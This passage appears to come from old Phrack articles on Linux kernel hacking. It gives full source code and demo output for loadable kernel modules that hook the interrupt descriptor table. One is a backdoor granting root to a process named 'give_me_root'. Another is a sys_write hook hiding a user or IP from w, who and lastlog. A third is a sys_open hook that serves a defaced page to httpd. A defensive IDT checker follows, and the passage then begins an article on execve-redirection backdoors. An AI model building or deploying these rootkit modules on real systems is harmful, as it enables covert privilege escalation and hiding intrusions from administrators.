0; } bash-2.05$ gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. This technique can be used with many syscalls. ------[ 5.3.2 - Hooking of sys_write SYS_WRITE: ---------- EAX: 4 EBX: file descriptor ECX: ptr to output buffer EDX: count of bytes to send We are going to hook sys_write so that it will replace a string in a defined program. Then, we will hook sys_write so that it will replace in the whole system. The asm handler in the same as in 5.3.1 C handler ---------- asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } - We compare the name of the process with a defined program name and with the name that we will specify in param when we insert our module (progy param). - We allocate some space for the buffer that will receive the string that is in regs->ecx - We copy the string that sys_write is going to write from the userland to the kernelland (copy_from_user) - We search for the string we want to hide in the string that sys_write is going to write. - If found,we change the string to be hidden with the one wanted in our buffer. - we copy the false string in the userland (copy_to_user) In practice : -------------- %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps Inserting hook Hooking finish %w 12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid %ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au % The string "kad" is hidden. The whole source code is in annexe CODE 3. This example is quite simple but could be more interesting. Instead of changing "kad" with "marcel", we could change our IP address with another. And, instead of hooking the output of w, who or lastlog, we could use klogd... Complete hooking of sys_write ------------------------------ The complete hooking of sys_write can be useful in some case, like for example changing an IP with another. But if you change a string completely, you won't be hidden long. If you change a string with another, it's the whole system that will be changed. Even a simple cat will be influenced : %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % The C handler for this example is the same as the previous one without the if condition. Beware, this could slow down your system a lot. ----[ 5.4 - Hooking for fun This example is only "for fun" :), don't misuse it. You could turn an admin mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook the syscall sys_open so that it opens another file instead of a defined file, but only if it is a defined "entity" that opens the file. This entity will be httpd here... SYS_OPEN: --------- EAX : 5 EBX : ptr to pathname ECX : file access EDX : file permissions The asm handler is always the same as the previous ones. C handler : ------------ asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } We hook sys_open, if httpd call sys_open and tries to open index.html, then we change index.html with another page we've chosen. We can also use MODULE_PARM to more easily change the page. If someone opens the file with a classic editor, he will see the true index.html! Hooking a syscall is very easy with this technique. Moreover, few modifications are to be done for hooking this or that syscall. The only thing to change is the C handler. We could however play with the asm handler, for example to invert 2 syscalls. We would only have to compare the value of eax and to change it with the number of a defined syscall. For an admin, we could hook the "hot" syscalls and warn with a message as soon as the syscall is called. We would be warned of the modifications on the syscall_table. --[ 6 - CHECKIDT CheckIDT is a little program that I have written that allow to "play" with the IDT from the userland. i.e. without using a lkm, thanks to the technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, I had to face many kernel crashes and it was not dead but I couldn't remove the lkm. I had to reboot to change the value of the IDT. CheckIDT allow to change the value of the IDT without the use of a lkm. CheckIDT is here to help you coding your lkms and prevent you from rebooting all the time. On the other hand, this software can warn you of modifications of the IDT and so be useful for admins. It can restore the IDT state in tripwire style. It saves each descriptor of the IDT in a file, then it compares the descriptors with the saved values and put the IDT back if there were modifications. Some examples of use : ----------------------- %./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A show all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file %./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0109370 KERNEL_CS 3 System gate int3 Thanks for choose kad's products :-) % We can obtain information on an interrupt descriptor. "-A" allow to obtain information on all interrupts. %./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) %insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finished %./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0109370 New Value : 0xc583e064 Thanks for choosing kad's products :-) %./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) %./checkidt -C All values are same Thanks for choosing kad's products :-) %lsmod Module Size Used by hookstub-V0.3.2 928 0 (unused) ... % So CheckIDT has restored the values of the IDT as they were before inserting the module. However, the module is still here but has no effect. As in tripwire, I advice you to put the IDT save file in a read only area, otherwise someone could be compromised. rem : if the module is well hidden, you will also be warned of the modifications of IDT. The whole source code is in annexe CODE 4. --[ 7 - REFERENCES [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat GREETZ - Special greetz to freya, django and neuro for helping me to translate this text in English. Greetz again to skyper for his advice, thks a lot man! :) - Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !) - Big greetz to mayhem, insulted, ptah and sauron for testing the codes and verifying the text. - Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all those who were at the RtC.Party, nywass, the polos :) and all those I forget. --[ 8 - Appendix CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12 |=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=| |=-----------------------------------------------------------------------=| |=-----------------=[ palmers ]=-----------------=| --[ Contents 1 - Introduction 2 - Execution Redirection 3 - Short Stories 3.1 - The Classic 3.2 - The Obvious 3.3 - The Waiter 3.4 - The Nexus 3.5 - The Lord 4 - Conclusion 5 - Reference Appendix A: stories.tgz.uu Appendix B: fluc.c.gz.uu --[ 1 - Introduction "Oedipus: What is the rite of purification? How shall it be done? Creon: By banishing a man, or expiation of blood by blood ..." - Sophocles, Oedipus the King What once was said cannot be banished. Expiation of the wrongs that inspire peoples thinking and opinion may change. I concern again on kernel hacking, not on literature. Especially in this field many, many ideas need to be expiated as useless. That does not mean they do not allow to solve particular problems. It means the problems which can be solved are not those which were aimed to be solved. --[ 2 - Execution Redirection If a binary is requested to be executed, you are redirecting execution when you execute another binary. The user will stay unnotified of the change. Some kernel modules implement this feature as it can be used to replace a file but only when executed. The real binary will remain unmodified. Since no file is modified, tamper detection systems as [1] or [2] cannot percept such a backdoor. On the other hand, execution redirection is used in honeypot scenarios to fool attackers. Even after years of active kernel development, the loadable kernel modules (lkm) implementing execution redirection use merely the same technique. As this makes it easy for some admins to percept a backdoor faster, others still are not aware of the danger. However, the real danger was not yet presented. --[ 3 - Short Stories I will show five different approaches how execution can be redirected. Appendix A contains working example code to illustrate them. The examples do work but are not really capable to be used in the wild. You get the idea. In order to understand the sourcecodes provided it is helpful to read [4] or [5]. The example code just show how this techniques can be used in a lkm. Further, I implemented them only for Linux. These techniques are not limited to Linux. With minor (and in a few cases major) modifications most can be ported to any UNIX. --[ 3.1 - The Classic Only for completeness, the classic. Redirection is achieved by replacing the system call handling execution. See classic.c from appendix 